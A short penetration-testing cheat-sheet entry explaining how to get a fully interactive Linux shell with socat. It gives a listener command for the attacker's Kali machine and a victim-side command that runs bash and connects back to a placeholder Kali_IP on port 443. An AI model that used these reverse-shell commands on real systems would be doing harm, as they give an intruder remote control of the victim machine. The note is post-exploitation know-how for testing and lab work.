Creating a stable (Fully-interactive shells) in linux with socat

Get a socat binary from here to get a fully interactive shell for sudoedit or text editors to work.

https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

Steps

  1. Download a binary to kali and transfer it to the victim machine.

  2. On Kali:

socat file:`tty`,raw,echo=0 tcp-listen:443

3. From the victim's machine

./socat.1 exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:Kali_IP:443

Last updated